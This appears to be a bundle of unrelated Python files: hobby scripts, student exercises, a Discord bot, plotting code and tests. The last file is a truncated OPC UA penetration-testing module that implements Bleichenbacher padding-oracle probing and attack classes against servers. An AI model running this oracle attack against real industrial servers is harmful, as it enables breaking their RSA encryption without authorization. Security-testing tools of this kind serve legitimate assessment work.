import struct
file = open("/dev/input/mice","rb")
currentX = 0
currentY = 0
def getMouseEvent():
    global currentX,currentY
    buf = file.read(3);
    button = ord(str(buf)[0]);
    bLeft = button & 0x1;
    bMiddle = ( button & 0x4 ) > 0;
    bRight = ( button & 0x2 ) > 0;
    x,y = struct.unpack( "bb", buf[1:] );
    currentX += x
    currentY += y
    print ("L:%d, M: %d, R: %d, x: %d, y: %d\n" % (bLeft,bMiddle,bRight, currentX, currentY) );
while True:
    getMouseEvent()


"""
 @author : Femy
 date    : 07/09/1020
"""

from appliances.washingmachine.washing_machine import WashingMachine as ws

class SmartHomeMain():
    """
       This is the main class for the entire Smart Home Project
       The user can select which machine needs to be run based on the menu given which will be redirected
       to the corresponding start method of the selected machine.
    """

    def start_machine(self):
        """
          method to display menu of machines available to run.Based on the menu selected
          the call is redirected to the corresponding machines start method
        """
        print("\n\nWhich machine you like to run:::")
        ans = True
        while ans:
            print("""
            1.Washing Machine
            2.Dryer
            3.Dishwasher
            """)
            ans = input("Which machine you like to run:::")
            if ans == "1":
                self.start_washing_machine()
                break
            if ans == "2":
                print("\n service not  yet available.,please select only washing machine for now ,Thank you")
                continue
            if ans == "3":
                print("\n service not  yet available.,please select only washing machine for now ,Thank you")
                continue

    @staticmethod
    def start_washing_machine():
        ws().start()

smHome = SmartHomeMain()
smHome.start_machine()


from dash import dcc
from dash import html
import plotly.graph_objects as go
import datetime as dt
import pandas as pd
import plotly.express as px

def render_tab(df):
    dfr = pd.pivot_table(df,
               index='Store_type',
               columns='Gender',
               values='total_amt',
               aggfunc='mean').reset_index()

    layout = html.Div(
                [html.H1('Kanały sprzedaży',style={'text-align':'center'}),
                html.Div(
                    [html.Div(
                        [dcc.Graph(id='heat_graph'),
                        html.P("Kanały sprzedaży:"),
                        dcc.Checklist(id='channels',options=dfr['Store_type'],value=dfr['Store_type'],inline=True, labelStyle= {"margin":"1rem"},style = {'display': 'flex'})
                        ],style={'width':'30%'}),
                    html.Div(
                        [dcc.Graph(id='sex_channel')],
                        style={'width':'40%'}),
                    html.Div(
                        [dcc.Graph(id='heat_graph2')],
                        style={'width':'30%'}),
                    ]
                ,style={'display':'flex'})
                ])

    return layout


import cv2
import requests
import numpy as np
import mytools as util

# 获取配置
data = util.read_config()

# 后端服务器的URL
backend_url = "http://{}:{}/{}".format(
    data["backend_server_host"],
    data["backend_server_port"],
    data["capture_url"]
)

# 根据设备号捕获摄像头画面
cap = cv2.VideoCapture(0)

while True:
    # 从摄像头捕获画面
    ret, frame = cap.read()

    # 将捕获的帧编码为JPEG格式
    _, img_encoded = cv2.imencode('.jpg', frame)

    # 将图像数据转换为字节流
    image_data = img_encoded.tobytes()

    # # 发送图像数据到后端服务器
    # response = requests.post(backend_url, data=image_data)

    # 在窗口中显示捕获的画面（可选）
    cv2.imshow('Camera Feed', frame)

    # 按下'q'键退出循环
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break

# 释放摄像头资源和关闭窗口
cap.release()
cv2.destroyAllWindows()


#!/usr/bin/python3
"""
Module with class Rectangle
"""
from models.base import Base

class Rectangle(Base):
    """
    Class Rectangle inherits from Base
    """

    def __init__(self, width, height, x=0, y=0, id=None):
        """
        Class constructor
        """
        super().__init__(id)
        if not type(width) is int:
            raise TypeError('width must be an integer')
        if width <= 0:
            raise ValueError('width must be > 0')
        if not type(height) is int:
            raise TypeError('height must be an integer')
        if height <= 0:
            raise ValueError('height must be > 0')
        if not type(x) is int:
            raise TypeError('x must be an integer')
        if x < 0:
            raise ValueError('x must be >= 0')
        if not type(y) is int:
            raise TypeError('y must be an integer')
        if y < 0:
            raise ValueError('y must be >= 0')
        self.__width = width
        self.__height = height
        self.__x = x
        self.__y = y

    @property
    def width(self):
        """
        width getter
        """
        return self.__width

    @width.setter
    def width(self, width):
        """
        width setter
        """
        if type(width) is not int:
            raise TypeError('width must be an integer')
        if width <= 0:
            raise ValueError('width must be > 0')
        self.__width = width

    @property
    def height(self):
        """
        height getter
        """
        return self.__height

    @height.setter
    def height(self, height):
        """
        height setter
        """
        if type(height) is not int:
            raise TypeError('height must be an integer')
        if height <= 0:
            raise ValueError('height must be > 0')
        self.__height = height

    @property
    def x(self):
        """
        x getter
        """
        return self.__x

    @x.setter
    def x(self, x):
        """
        x setter
        """
        if type(x) is not int:
            raise TypeError('x must be an integer')
        if x < 0:
            raise ValueError('x must be >= 0')
        self.__x = x

    @property
    def y(self):
        """
        y getter
        """
        return self.__y

    @y.setter
    def y(self, y):
        """
        y setter
        """
        if type(y) is not int:
            raise TypeError('y must be an integer')
        if y < 0:
            raise ValueError('y must be >= 0')
        self.__y = y

    def area(self):
        """
        returns the area value of the Rectangle instance.
        """
        return self.__width * self.__height

    def display(self):
        """
        prints in stdout the Rectangle instance with the character #
        """
        for i in range(self.__y):
            print('')
        for i in range(self.__height):
            row_offset = " " * self.__x
            for j in range(self.__width):
                row_offset += '#'
            print('{}'.format(row_offset))

    def __str__(self):
        """
        overriding the __str__ method so that
        it returns [Rectangle] (<id>) <x>/<y> - <width>/<height>
        """
        return '[Rectangle] ({}) {}/{} - {}/{}'.format(self.id, self.__x,
                                                       self.__y, self.__width,
                                                       self.__height)

    def update(self, *args, **kwargs):
        """
        assigns an argument to each attribute
        """
        if args:
            for i, arg in enumerate(args):
                if i == 0:
                    if arg is None:
                        self.__init__(self.__width, self.__height,
                                      self.__x, self.__y)
                    else:
                        self.id = arg
                if i == 1:
                    self.__width = arg
                if i == 2:
                    self.__height = arg
                if i == 3:
                    self.__x = arg
                if i == 4:
                    self.__y = arg
        else:
            if kwargs:
                for k, v in kwargs.items():
                    setattr(self, k, v)

    def to_dictionary(self):
        """
        to_dictionary
        """
        dic = {}
        dic['x'] = self.x
        dic['y'] = self.y
        dic['id'] = self.id
        dic['height'] = self.height
        dic['width'] = self.width
        return dic


import discord
import requests
from datetime import datetime
from command import Command

class Redditcomment(Command):

    def __init__(self):
        super().__init__("redditcomment", self.redditcomment, alias=['rc', 'comment'])

    async def redditcomment(self, message):
        if len(message.content.split(' ')) != 2:
            await message.channel.send("Bad arguments! Usage: .redditcomment <subreddit>")
            return
        subreddit = message.content.split(' ')[1]
        r = requests.get(f'https://www.reddit.com/r/{subreddit}/comments.json?limit=1', headers = {'User-agent': 'funnybot'})
        comment = r.json()

        if "error" in comment or comment["data"]["after"] is None:
            await message.channel.send(f'No such subreddit: {subreddit}')
        else:
            to_send = comment["data"]["children"][0]["data"]["body"]
            to_send = to_send if len(to_send) < 5000 else "Damn this comment is too long lol"

            em = discord.Embed()
            em.description = to_send
            em.colour = discord.Colour.orange()
            em.set_footer(text = "/r/" + subreddit)
            em.timestamp = datetime.now()

            await message.channel.send(content=None, embed=em)


'''
Requirements
1. Create a recursive program that finds the solution path for each of the provided mazes.
'''

import math
from screen import Screen
from maze import Maze
import cv2
import sys

SCREEN_SIZE = 800
COLOR = (0, 0, 255)

def solve(maze: Maze, current_position, solution_path: list):
    """ Solve the maze. The path object should be a list (x, y) of the positions
        that solves the maze, from the start position to the end position. """

    # Check if the position we moved to is the end position.
    if maze.at_end(current_position[0], current_position[1]):
        return solution_path  # Return the solution path.

    # Get the possible moves from our current position.
    p_moves = maze.get_possible_moves(current_position[0], current_position[1])

    if len(p_moves) > 0:  # If possible moves is not empty.
        for new_position in p_moves:  # For every possible move.
            # If we can move to the new position.
            if maze.can_move_here(new_position[0], new_position[1]):
                # Move to the new position.
                maze.move(new_position[0], new_position[1], COLOR)

                # Append that new position to the solution path.
                solution_path.append(new_position)

                # Get the return value from that move (recursive call).
                temp = solve(maze, new_position, solution_path)

                # Add the return value to the list, and check if it is greater than 0.
                # If it is, then it means we can return part of a possible solution path.
                if isinstance(temp, list):
                    if len(temp) > 0:
                        return temp

                # If we make it here it means that we didn't get a solution path and hit a dead end
                # which means we need to restore the position we are at and remove it from the path list.
                maze.restore(new_position[0], new_position[1])
                solution_path.remove(new_position)
    else:
        # If no possible moves, then return empty solution path.
        return []

def get_solution_path(filename):
    # create a Screen Object that will contain all of the drawing commands
    screen = Screen(SCREEN_SIZE, SCREEN_SIZE)
    screen.background((255, 255, 0))

    maze = Maze(screen, SCREEN_SIZE, SCREEN_SIZE, filename)

    start_position = maze.get_start_pos()
    maze.move(start_position[0], start_position[1], COLOR)
    solution_path = solve(maze, start_position, [])

    print(f'Number of drawing commands for = {screen.get_command_count()}')

    done = False
    speed = 1
    while not done:
        if screen.play_commands(speed):
            key = cv2.waitKey(0)
            if key == ord('+'):
                speed = max(0, speed - 1)
            elif key == ord('-'):
                speed += 1
            elif key != ord('p'):
                done = True
        else:
            done = True

    return solution_path

def find_paths():
    files = ('verysmall.bmp', 'verysmall-loops.bmp',
             'small.bmp', 'small-loops.bmp',
             'small-odd.bmp', 'small-open.bmp', 'large.bmp', 'large-loops.bmp')

    print('*' * 40)
    print('Part 1')
    for filename in files:
        print()
        print(f'File: {filename}')
        solution_path = get_solution_path(filename)
        print(f'Found path has length          = {len(solution_path)}')
    print('*' * 40)

def main():
    # prevent crashing in case of infinite recursion
    sys.setrecursionlimit(5000)
    find_paths()

if __name__ == "__main__":
    main()


from .models import Task_date,Task_list
from django import forms
class home_form(forms.ModelForm):
    date_added = forms.DateField(widget = forms.SelectDateWidget(attrs = {'class':'custom-select'}))
    class Meta:

        model = Task_date
        fields = [
            'date_added'
        ]

class view_task_form(forms.ModelForm):
    due_date = forms.DateField(widget = forms.SelectDateWidget(attrs = {'class':'custom-select'}))
    class Meta:
        model = Task_list
        fields = [
            'task',
            'due_date',
            'task_date'

        ]


# -*- coding: utf-8 -*-
"""
Created on Wed May 10 11:23:42 2017

@author: Michael Orrill
"""

# this if for plotting the values of Z = 1/Oh in a We/Re space
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.ticker import ScalarFormatter
from matplotlib import rcParams
rcParams['font.size'] = 14
#%% Create arrays
re = np.arange(0.1,1000)
we = np.arange(1,1001)
lowerbound = 1  # set as the lower Z boundary line to be shown in plot
upperbound = 10 # set as the upper Z boundary line to be shown in plot

# actual functions to be plotted
low_line = re**2/lowerbound**2
high_line = re**2/upperbound**2

#%% Create plot
fig = plt.figure(figsize=(8,6))
ax = fig.add_subplot(111)
ax.loglog(re, low_line, color='r', linestyle='--', linewidth=2)
ax.loglog(re, high_line, color='r', linestyle='--', linewidth=2)
ax.xaxis.set_major_formatter(ScalarFormatter())
ax.yaxis.set_major_formatter(ScalarFormatter())
plt.axhline(4, color='k', linestyle='--')
plt.xlim(0.1,1000)
plt.ylim(1,1500)
plt.xlabel('Reynolds number', fontweight='bold')
plt.ylabel('Weber number', fontweight='bold')

plt.fill_between(low_line,[0,1000], color='b')

#ax.xaxis.set_major_formatter(ScalarFormatter())
#ax.yaxis.set_major_formatter(ScalarFormatter())


import sys
import os

current_dir = os.path.dirname(__file__)
parent_dir = os.path.abspath(os.path.join(current_dir, ".."))
sys.path.append(parent_dir)

import matplotlib.pyplot as plt
from matplotlib.colors import ListedColormap
import matplotlib.patches as pat
from cells.setup import cells
from parameters import parameters
from vegetobs.setup import vegetobs
from erbasts.setup import herds
from carvizes.setup import prides
import random

#map where the daily status of the three species is represented

def setColor(r,g,b):
    return [r,g,b]

def setErbastColor(c):
    return setColor(0,0,c)

def setCarvizColor(c):
    return setColor(c,0,0)

def setupMap(ax,day):
    plt.cla()
    ax.set_title(f'Day {day}')

    #create one matrix with the Ground/Water cells, one with the density of the vegetobs, one with the energy of the erbasts
    # and one with the energy of the carvizes
    cellList = []
    for cellname in cells:
        cellList.append(cells[cellname])

    mapLists = []
    densityLists = []
    herdLists = []
    prideLists = []
    for i in range(0, parameters.getNumcells()):
        columnMapList = []
        columnDensityList = []
        columnHerdList = []
        columnPrideList = []
        for j in range(i, len(cellList), parameters.getNumcells()):
            cell = cellList[j]
            if cell.isGround():
                columnMapList.append(1)
                for cellname in vegetobs:
                    if cells[cellname] == cell:
                        columnDensityList.append(vegetobs[cellname].getDensity()/parameters.getMaxDensity())
                for key in herds:
                    if cells[herds[key].cell] == cell:
                        columnHerdList.append(herds[key])
                        break
                for key in prides:
                    if cells[prides[key].cell] == cell:
                        columnPrideList.append(prides[key])
                        break
            else:
                columnMapList.append(0)
                columnDensityList.append(0.0)
                columnHerdList.append(0)
                columnPrideList.append(0)
        mapLists.append(columnMapList)
        densityLists.append(columnDensityList)
        herdLists.append(columnHerdList)
        prideLists.append(columnPrideList)

    #background map with Ground/Water cells
    colors = ['lightcyan', 'saddlebrown']
    cmap = ListedColormap(colors)
    mapCells = ax.imshow(mapLists, cmap=cmap, extent=[0,parameters.getNumcells(),0,parameters.getNumcells()])

    numCell = len(mapLists)
    #add the axis
    for y in range(numCell):
        plt.axhline(y * 1, color='black', linewidth=0.2)
    for x in range(numCell):
        plt.axvline(x * 1, color='black', linewidth=0.2)

    #add to the map the vegetobs (size based on density), the erbasts (color based on energy) and the carvizes (color based on energy)
    for row, rowList in enumerate(mapLists):
        for col, _ in enumerate(rowList):
            densityValue = densityLists[row][col]
            square = pat.Rectangle((col, parameters.getNumcells()-1-row), densityValue, densityValue, color = 'green')
            ax.add_patch(square)
            herd = herdLists[row][col]
            if herd != 0:
                for key in herd.animals:
                    circle = pat.Circle((col+random.uniform(0.15,0.85), parameters.getNumcells()-random.uniform(0.15,0.85)-row), 0.15, color = setErbastColor(herd.animals[key].getEnergy()/parameters.getMaxEnergy()))
                    ax.add_patch(circle)
            pride = prideLists[row][col]
            if pride != 0:
                for key in pride.animals:
                    triangle = pat.RegularPolygon((col+random.uniform(0.15,0.85), parameters.getNumcells()-random.uniform(0.15,0.85)-row), 3, 0.15, 0.0, color = setCarvizColor(pride.animals[key].getEnergy()/parameters.getMaxEnergy()))
                    ax.add_patch(triangle)

    plt.tick_params(left=False, bottom=False, labelleft=False, labelbottom=False)

    return


import socket
import hashlib
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_address = ('0.0.0.0',10000)
print(f'start up on host:{server_address[0]} port:{server_address[1]}')
sock.bind(server_address)
sock.listen(1)

while True:
    print("waiting for a connection")
    connection, client_address = sock.accept()
    size = 0
    try:
        i = 0
        while True:
            data = connection.recv(65536)
            i+=1
            if data:
                size+=len(data)
                if i%10000==0:
                    print(f"current loop:{i}")
            else:
                print("Done!")
                break
        print(f"loop:{i} total size:{size}")
        #print("hash of received data: %s",hashlib.md5(data).hexdigest())
    finally:
        connection.close()


"""Faça um programa que receba o valor de uma dívida e mostre uma tabela com os seguintes dados:
valor da dívida,
valor dos juros,
quantidade de parcelas e valor da parcela.

Quantidade de Parcelas % de Juros sobre o valor inicial da dívida
    1       0
    3       10
    6       15
    9       20
    12      25"""

divida = float(input("Digite o valor da divida: R$ "))
while True:
    parcelas = int(input("\nDigite em quantas parcelas será dividido a divida (entre 1 e 12): "))
    if parcelas <= 0 or parcelas > 12:
        print("\nDigite um valor de parcelas válidos entre 1 e 12.")
    else:
        break
if parcelas > 9:
    pct = 25
elif parcelas > 6:
    pct = 20
elif parcelas > 3:
    pct = 15
elif parcelas > 1:
    pct = 10
else:
    pct = 0

valorJuros = divida / 100 * pct
dividaFinal = divida + valorJuros
valorParcelas = dividaFinal / parcelas

print(f"\nValor da dívida: R$ {divida:.2f}")
print(f"Valor de {pct}% de juros sobre as {parcelas} parcela(s): R$ {valorJuros:.2f}")
print(f"Valor final é de R$ {dividaFinal:.2f} divido em {parcelas} parcelas de R$ {valorParcelas:.2f}.")


from traits.api import HasTraits, Str, Int, Float
import numpy as np

# neon_20 = 3257.9747
# neon_21 = 13.48
# neon_22 = 373.0053

class DeconvolveNeonIsotopes:

    def __init__(self, neon_20_in, neon_21_in, neon_22_in, system, mineral):
        self.neon_20 = float(neon_20_in)
        self.neon_21 = float(neon_21_in)
        self.neon_22 = float(neon_22_in)
        self.system = system
        self.mineral = mineral

    def deconv_calculate(self):

        # print(self.system)
        # print("Input: (", round(self.neon_20, 5), " Ne20) (", round(self.neon_21, 5), " Ne21) (", round(self.neon_22, 5),
        #       " Ne22)")

        comp = []
        comp_name = []
        comp_option = []
        neon_20_22_comp = []
        neon_21_22_comp = []
        neon_22_frac = []
        neon_20_frac = []
        neon_21_frac = []
        neon_22_norm = []
        neon_20_norm = []
        neon_21_norm = []
        neon_22_sig = []
        neon_20_sig = []
        neon_21_sig = []
        comp_results = []

        print(self.system)

        if self.system == 'Nucleogenic/Cosmogenic/Air':
            comp.append(0)
            comp.append(1)
            comp.append(2)
            comp_name.append('Nucleogenic')
            comp_name.append('Cosmogenic')
            comp_name.append('Air')

        elif self.system == 'Nucleogenic/Mantle/Air':
            comp.append(0)
            comp.append(3)
            comp.append(2)
            comp_name.append('Nucleogenic')
            comp_name.append('Mantle')
            comp_name.append('Air')

        else:
            comp.append(1)
            comp.append(3)
            comp.append(2)
            comp_name.append('Cosmogenic')
            comp_name.append('Mantle')
            comp_name.append('Air')

        # nucleogenic
        comp_option.append([.000005, .99999, .000005])

        # cosmogenic (Schaefer et al. 1999)

        if self.mineral == 'quartz':
            # quartz
            comp_option.append([0.355871886, 0.284697509, 0.359430605])
        else:
            # pyroxene
            comp_option.append([0.296735905, 0.326409496, 0.376854599])

        # air
        comp_option.append([.9048, .0027, .0925])

        # mantle (Peron et al 2016)
        comp_option.append([.9259, .0024, .0717])

        for i in range(3):
            comp[i] = comp_option[comp[i]]
            neon_20_22_comp.append(comp[i][0] / comp[i][2])
            neon_21_22_comp.append(comp[i][1] / comp[i][2])

        neon_20_22 = self.neon_20 / self.neon_22
        neon_21_22 = self.neon_21 / self.neon_22

        data_matrix = np.array([[neon_20_22], [neon_21_22], [1]])

        model_matrix = np.array(
            [[neon_20_22_comp[0], neon_20_22_comp[1], neon_20_22_comp[2]], [neon_21_22_comp[0], neon_21_22_comp[1],
                                                                            neon_21_22_comp[2]], [1, 1, 1]])
        inv_model = np.linalg.inv(model_matrix)

        results_matrix = np.matmul(inv_model, data_matrix)

        for i in range(3):
            neon_22_frac.append(results_matrix[i])
            neon_22_norm.append(results_matrix[i] / sum(results_matrix))
            neon_20_frac.append(neon_22_frac[i] * neon_20_22_comp[i])
            neon_21_frac.append(neon_22_frac[i] * neon_21_22_comp[i])

        for i in range(3):
            neon_20_norm.append(neon_20_frac[i] / sum(neon_20_frac))
            neon_21_norm.append(neon_21_frac[i] / sum(neon_21_frac))

            neon_22_sig.append(self.neon_22 * neon_22_norm[i])
            neon_20_sig.append(self.neon_20 * neon_20_norm[i])
            neon_21_sig.append(self.neon_21 * neon_21_norm[i])

            # print(comp_name[i], ": (", round(neon_20_sig[i][0], 5), " Ne20) (", round(neon_21_sig[i][0], 5),
            #           " Ne21) (", round(neon_22_sig[i][0], 5), " Ne22)")
            comp_results.extend([neon_20_sig[i][0], neon_21_sig[i][0], neon_22_sig[i][0]])

        return comp_results


# -*- coding: utf-8 -*-
"""
Created on Wed Aug 15 21:37:45 2018
@author: Summerhack
"""
 #存储《外星人入侵》的所有设置参数
class Settings():

    #初始化游戏设置
    def __init__(self):

        #屏幕设置
        self.scree_width = 1200
        self.scree_height = 800
        self.bg_color = (230, 230, 230)

        #飞船速度设置
        self.ship_speed_factor = 1.5

        #子弹设置
        self.bullet_speed_factor = 1    #子弹速度
        self.bullet_width = 3           #子弹宽度
        self.bullet_heigh = 15          #子弹长度
        self.bullet_color = 60, 60, 60  #子弹颜色
        self.bullets_allowed = 3         #未消失的子弹数目


'''
Created on 2019-11-20
作者：蔡卓新
用途：学习调试
'''
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import unittest

class xuexi(unittest.TestCase):
    def setUp(self):
        self.driver = webdriver.Firefox()
        self.driver.maximize_window()
        self.driver.get("http://www.baidu.com")

    def tearDown(self):
        self.driver.close()

    def test_01(self):
        self.driver.find_element(By.ID,'kw').send_keys('aaa')
        result = EC.title_is('百度')
        print(result(self.driver))
        self.assertTrue(result(self.driver))

    def test_02(self):
        self.driver.get("http://www.baidu.com")
        self.driver.find_element(By.ID,'kw').send_keys('aaa')
        result = EC.title_contains('百度')
        print(result(self.driver))
        self.assertTrue(result(self.driver))

if __name__ == '__main__':
    unittest.main()


# a=input().strip()

# for i in a:
#     print(i, end=' ')

#문자열을 하나 입력받아, 문자 사이사이에 쉼표(,)를 넣어 출력하는 프로그램을 작성해라.
#입력예 Jungbo Olympiad
#출력예 J,u,n,g,b,o, ,O,l,y,m,p,i,a,d

a = input().strip()
len_=len(a)
for i in range(len_-1):
    print(a[i],end=',')
print(a[len_-1])


# -*- coding: utf-8 -*-
from setuptools import setup

import saml2idp

with open('README.rst') as readme:
    description = readme.read()

with open('HISTORY.rst') as history:
    changelog = history.read()

setup(
    name='dj-saml-idp',
    version=saml2idp.__version__,
    author='Sebastian Vetter',
    author_email='sebastian@mobify.com',
    description='SAML 2.0 IdP for Django',
    long_description='\n\n'.join([description, changelog]),
    install_requires=[
        'Django>=1.8',
        'pyopenssl>=0.16',
        'BeautifulSoup4>=4.4.0',
        'lxml',
        'structlog'],
    license='MIT',
    packages=['saml2idp'],
    url='http://github.com/mobify/dj-saml-idp',
    zip_safe=False,
    include_package_data=True,
)


from hamcrest import ( assert_that,
                       contains_exactly,
                       empty,
                       has_key,
                       is_not )
from pprint import pformat
from unittest import TestCase

from ycmd.tests.rust import setUpModule, tearDownModule # noqa
from ycmd.tests.rust import PathToTestFile, SharedYcmd
from ycmd.tests.test_utils import ( BuildRequest,
                                    CompletionEntryMatcher,
                                    WithRetry )
from ycmd.utils import ReadFile

class GetCompletionsTest( TestCase ):
  @WithRetry()
  @SharedYcmd
  def test_GetCompletions_Basic( self, app ):
    filepath = PathToTestFile( 'common', 'src', 'main.rs' )
    contents = ReadFile( filepath )

    completion_data = BuildRequest( filepath = filepath,
                                    filetype = 'rust',
                                    contents = contents,
                                    line_num = 14,
                                    column_num = 19 )

    results = app.post_json( '/completions',
                             completion_data ).json[ 'completions' ]

    assert_that(
      results,
      contains_exactly(
        CompletionEntryMatcher(
          'build_rocket',
          'fn(&self)',
          {
            'detailed_info': 'build_rocket\n\nDo not try at home',
            'menu_text':     'build_rocket',
            'kind':          'Method'
          }
        ),
        CompletionEntryMatcher(
          'build_shuttle',
          'fn(&self)',
          {
            'detailed_info': 'build_shuttle\n\n',
            'menu_text':     'build_shuttle',
            'kind':          'Method'
          }
        )
      )
    )

    # This completer does not require or support resolve
    assert_that( results[ 0 ], is_not( has_key( 'resolve' ) ) )
    assert_that( results[ 0 ], is_not( has_key( 'item' ) ) )

    # So (erroneously) resolving an item returns the item
    completion_data[ 'resolve' ] = 0
    response = app.post_json( '/resolve_completion', completion_data ).json
    print( f"Resolve resolve: { pformat( response ) }" )

    # We can't actually check the result because we don't know what completion
    # resolve ID 0 actually is (could be anything), so we just check that we
    # get 1 result, and that there are no errors.
    assert_that( response[ 'completion' ], is_not( None ) )
    assert_that( response[ 'errors' ], empty() )


import requests
from bs4 import BeautifulSoup

sp500_raw = requests.get(
    "https://en.wikipedia.org/wiki/List_of_S%26P_500_companies")
soup = BeautifulSoup(sp500_raw.content, "html.parser")

table = str(soup.find("table", {"id": "constituents"}))
table_soup = BeautifulSoup(table, 'html.parser')
rows = table_soup.find_all("tr")

tickers = []
companies = []
both = {}
for row in rows[1:]:
    row_soup = BeautifulSoup(str(row), 'html.parser')
    row_arr = row_soup.find_all('a')
    tickers.append(row_arr[0].string)
    companies.append(row_arr[1].string)
    both[row_arr[0].string] = row_arr[1].string


"""
Module for implementations of Bleichenbacher tests and attacks
"""

from concurrent.futures import Future
import logging
import math

import gmpy2
from opcua import ua

from opcuapen import constants
from opcuapen.client import OpcuaPenClient
from opcuapen.attacks import paddings, utils
from opcuapen.protocol import request
from opcuapen.reports import BleichenbacherReport

from opcuapen.bisect import insertion_point

logger = logging.getLogger(__name__)

class BleichenbacherOracleTest:
    """
    Test class to test servers for vulnerability to Bleichenbacher attack
    """
    def __init__(self, config):
        self.config = config

    def default_testing(self):
        """ Test a number of different paddings which are assembled by hand """
        blb = Bleichenbacher(self.config)

        pads = [paddings.pad_pkcs1v15,
                paddings.pkcs1v15_three,
                paddings.pkcs1v15_five,
                paddings.pkcs1v15_block,
                paddings.pkcs1v15_hack_any_plaintext_byte,
                paddings.pkcs1v15_short_plaintext,
                paddings.pkcs1v15_short_plaintext_and_three,
                paddings.pkcs1v15_only_rnd,
                paddings.pkcs1v15_late_zeros,
                paddings.pkcs1v15_zeros_in_rnd_padding,
                paddings.pkcs1v15_zeros_in_rnd_padding_no_stop,
                paddings.pkcs1v15_number_too_large]
        res = blb.test_paddings(pads)
        print()
        for pad, result in zip(pads, res):
            print('- {}: {}'.format(pad.__name__, result))

        print('True', res.count('True'))
        print('unknown block type', sum([1 for resp in res if 'unknown block type' in resp]))

    @staticmethod
    def checked_before(df_pad, f1, f2, bl):
        """ Check with the oracle whether manipulation f1 or f2 is checked first

        :param df_pad:
        :param f1:
        :param f2:
        :param bl:
        :return:
        """
        r1 = bl.test_paddings([lambda msg,
                                      default_pad=df_pad,
                                      pad=f1:
                               pad(default_pad(msg))])
        r2 = bl.test_paddings([lambda msg,
                                      default_pad=df_pad,
                                      pad1=f1,
                                      pad2=f2:
                               pad2(pad1(default_pad(msg)))])
        r3_for_testing = bl.test_paddings([lambda msg,
                                                  default_pad=df_pad, pad=f2:
                                           pad(default_pad(msg))])
        logger.error(r1)
        logger.error(r2)
        logger.error(r3_for_testing)
        return r1 == r2

    def generic_testing(self):
        """ Find the order of server-side checks by sending various manipulated messages

        :return: ordered list of server-side checks
        """
        blb = Bleichenbacher(self.config)

        dfp = paddings.pad_pkcs1v15
        pads = [paddings.in_first_ten_func,
                paddings.after_first_ten_func,
                paddings.three_func,
                paddings.short_func,
                paddings.no_stop_byte_func,
                paddings.one_func
               ]

        pds = {pad: {'name': pad.__name__, 'lmd': lambda msg,
                                                         pad=pad,
                                                         default_pad=dfp:
                                                  pad(default_pad(msg))} for pad in pads}

        for p in pds:
            pds[p]['err'] = blb.test_paddings([pds[p]['lmd']])[0]

        lst = []
        for p in pads:
            lst.insert(insertion_point(p, lst, lambda f1,
                                                      f2,
                                                      bl=blb:
                                       BleichenbacherOracleTest.checked_before(
                                           paddings.pad_pkcs1v15,
                                           f1, f2, bl)), p)
        print(lst)

        for i, l in enumerate(lst):
            print('{}. {}'.format(i+1, pds[l]['err']))

class Bleichenbacher:
    """ Attack class for Bleichenbacher attack """

    def __init__(self, config):
        self.opcuapen_client = OpcuaPenClient(config)
        self.client = None
        self.cert = self.opcuapen_client.get_server_certificate()
        self.count = 0
        self.binreq = None
        self.config = config
        self.create_client()

    def __enter__(self):
        """ Connect the socket """
        self.client.connect_socket()

    def __exit__(self, exc_type, exc_val, exc_tb):
        """ Disconnect the socket

        :param exc_type: exception type
        :param exc_val: exception value
        :param exc_tb: exception traceback
        """
        self.client.disconnect_socket()

    def create_client(self):
        """ Create client object if not existing yet """
        if not self.client:
            self.client = self.opcuapen_client.get_client()
        # sends a get endpoint request!
        self.opcuapen_client.set_security_policy()
        return self.client

    def send_bytes(self, msg):
        """ Send bytes to the configured endpoint

        :param msg: message as bytes
        """
        with self.client.uaclient._uasocket._lock:
            self.client.uaclient._uasocket._request_id = 1
            future = Future()
            self.client.uaclient._uasocket._callbackmap[
                self.client.uaclient._uasocket._request_id] = future
            self.client.uaclient._uasocket._socket.write(msg)

        return future

    @staticmethod
    def get_result(fut):
        """block until the future has a result or times out"""
        try:
            res = fut.result(timeout=2)
            if isinstance(res, ua.ErrorMessage):
                return res.Reason
            return 'True'
        except Exception:
            pass
        return 'False'

    def send_manipulated_message(self, padding=None, ciphertext_manipulator=None):
        """ Send a message to the configured server using the custom padding and a
        manipulation function applied on the ciphertext (right before sending)

        :param padding: padding function for the specific security policy
        :param ciphertext_manipulator: function that operates on the ciphertext before sending
        :return: the future object for the response
        """
        msg = request.pad_and_encrypt(self.get_request(self.client),
                                      self.client.uaclient._uasocket._connection,
                                      self.cert,
                                      padding=padding,
                                      ciphertext_manipulator=ciphertext_manipulator)

        return self.send_bytes(msg)

    def test_paddings(self, padding_vector):
        """ Send manipulated messages to a server and collect the results

        :param padding_vector: functions that pad the message to a full block
        :return: list of server responses
        """
        logger.debug("Testing vector %s", [fct.__name__ for fct in padding_vector])

        result_vect = []
        for padding in padding_vector:
            current_result = 'null'

            while 'null' in current_result:
                with self:
                    self.client.send_hello()
                    future = self.send_manipulated_message(padding=padding)
                    current_result = Bleichenbacher.get_result(future)
            result_vect.append(current_result)

        return result_vect

    def check_bleichenbacher_oracle(self, ciphertext_manipulator=None):
        """
        Request a Bleichenbacher oracle,
        thus return True if a message is found
        that lies within :math:`[2B, 3B-1]`

        :param ciphertext_manipulator: a function that performs arbitrary
        manipulations on the ciphertext right before sending it
        :return: the boolean oracle response
        """
        res = 'null'
        while 'null' in res:
            with self:
                self.client.send_hello()
                if not ciphertext_manipulator:
                    ciphertext_manipulator = self.prepare
                msg = request.pad_and_encrypt(self.binreq,
                                              self.client.uaclient._uasocket._connection,
                                              self.cert,
                                              padding=paddings.pad_pkcs1v15,
                                              ciphertext_manipulator=ciphertext_manipulator)
                res = Bleichenbacher.get_result(self.send_bytes(msg))

        self.count += 1

        # TODO be more generic about the responses to prevent false negatives
        return 'unknown block type' not in res \
                and 'input too large for RSA cipher' not in res \
                and 'block incorrect size' not in res

    def get_multiplied_msg(self, msg, s=None):
        """ Message multiplication modulo N

        :param msg: bytes or integer message
        :param s: factor
        :return: result of the multiplication as integer
        """

        N = self.cert.public_key().public_numbers().n
        e = self.cert.public_key().public_numbers().e

        if isinstance(msg, bytes):
            msg_int = int.from_bytes(msg, byteorder="big")
        elif isinstance(msg, int):
            msg_int = msg
        else:
